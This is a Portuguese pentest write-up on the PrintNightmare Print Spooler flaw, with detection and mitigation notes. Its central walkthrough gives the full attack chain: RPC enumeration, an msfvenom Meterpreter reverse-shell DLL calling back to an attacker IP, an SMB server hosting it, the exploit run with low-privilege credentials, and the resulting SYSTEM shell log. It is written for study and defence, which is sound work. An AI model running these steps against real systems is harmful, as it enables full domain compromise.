
Artigo técnico e análise do PrintNightmare (CVE-2021-1675 / CVE-2021-34527), abordando exploração RCE/LPE, detecção por meio de logs de eventos do Windows e mitigação para o Print Spooler.
O repositório contém um relatório técnico detalhado (write-up) e uma análise do conceito de exploração de uma vulnerabilidade crítica no serviço de gerenciamento de impressão do Windows (Print Spooler), que permite a um usuário de domínio com privilégios baixos executar remotamente código arbitrário com os mais altos privilégios do sistema.
🛑 AVISO E ISENÇÃO DE RESPONSABILIDADE: Este material foi preparado exclusivamente para fins educacionais e para a realização de auditorias de segurança legítimas (Pentest). O uso das técnicas descritas contra sistemas sem o consentimento prévio por escrito dos proprietários é passível de punição por lei.
As vulnerabilidades da família PrintNightmare representam uma ameaça crítica para ambientes corporativos baseados em Windows Server e Active Directory. A falha arquitetural na verificação de permissões nas interfaces RPC MS-RPRN (Print System Remote Protocol) e MS-PAR (Print System Asynchronous Remote Protocol) permite solicitar legitimamente a instalação de drivers de impressora em um servidor remoto.
O principal perigo é que, por padrão, o serviço de gerenciamento de impressão (spoolsv.exe) está ativo na maioria dos servidores, incluindo controladores de domínio (Domain Controllers), e opera no contexto de privilégios máximos, NT AUTHORITY\SYSTEM. O comprometimento de uma única conta de baixos privilégios (por exemplo, via phishing) permite que o atacante assuma instantaneamente o controle total de toda a infraestrutura do Active Directory.
impacket (rpcdump, smbserver), msfvenom, Metasploit Framework, exploit em Python.Para implementar o vetor de execução remota de código (RCE), são necessárias credenciais de domínio válidas de um usuário com privilégios mínimos (fornecidas nas condições da pesquisa).
spoolsv.exe) na máquina Windows alvo está ativo e opera com privilégios máximos de SYSTEM, o que abre uma oportunidade direta para escalada local de privilégios (LPE) no host por meio do carregamento de uma biblioteca não confiável.Antes de executar o exploit principal, é necessário confirmar que a máquina remota oferece os protocolos de impressão vulneráveis e está aberta para interação pela rede. Realizamos o levantamento das interfaces RPC do sistema alvo:
impacket-rpcdump @<TARGET_IP> | egrep 'MS-RPRN|MS-PAR'
Saída controlada do terminal:
Protocol: [MS-RPRN], Endpoint: [\pipe\spoolss]
Protocol: [MS-PAR], Endpoint: [\pipe\spoolss]
[MS-RPRN] e [MS-PAR]. Isso confirma 100% que o sistema suporta as interfaces de impressão remota necessárias e é vulnerável ao vetor PrintNightmare.Criamos um payload para arquitetura x64, especificando o endereço IP da nossa máquina atacante para a conexão reversa:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f dll -o /tmp/malicious.dll
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST <ATTACKER_IP>; set LPORT 4444; run -j"
O servidor Windows alvo deve ter a possibilidade legítima de baixar nossa DLL pela rede sem utilizar utilitários de terceiros. Subimos um servidor SMB com suporte a SMBv2 a partir da pasta /tmp:
sudo impacket-smbserver tmp /tmp -smb2support
Executamos o script Python do exploit, fornecendo a ele as credenciais de domínio do usuário de baixos privilégios e o caminho UNC para a biblioteca maliciosa em nosso compartilhamento SMB local:
python3 CVE-2021-1675.py <LOW_PRIV_USER>:<PASSWORD>@<TARGET_IP> '\\<ATTACKER_IP>\tmp\malicious.dll'
Log da sessão capturada com sucesso (Metasploit):
[*] Started reverse TCP handler on <ATTACKER_IP>:4444
[*] Sending stage (200574 bytes) to <TARGET_IP>
[*] Meterpreter session 1 opened (<ATTACKER_IP>:4444 -> <TARGET_IP>:49321)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 3412 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1935]
(c) Корпорация Майкрософт (Microsoft Corporation). Все права защищены.
C:\Windows\system32> whoami
nt authority\system
NT AUTHORITY\SYSTEM. O alvo foi totalmente comprometido.Para os profissionais de Blue Team, a detecção da exploração do PrintNightmare é baseada na auditoria dos logs do Windows e no monitoramento de atividades anômalas de processos.
A execução bem-sucedida do exploit deixa registros característicos nos logs de impressão e nos logs do sistema:
C:\Windows\System32\spool\drivers\x64\3\).Print Spooler), causada pelo funcionamento instável do exploit.cmd.exe, powershell.exe) ou utilitários de coleta de dados cujo pai é o processo do sistema de gerenciamento de impressão spoolsv.exe. Em condições legítimas, spoolsv.exe nunca gera shells de comando.spoolsv.exe para recursos SMB externos (porta 445) para baixar arquivos de driver.Disabled.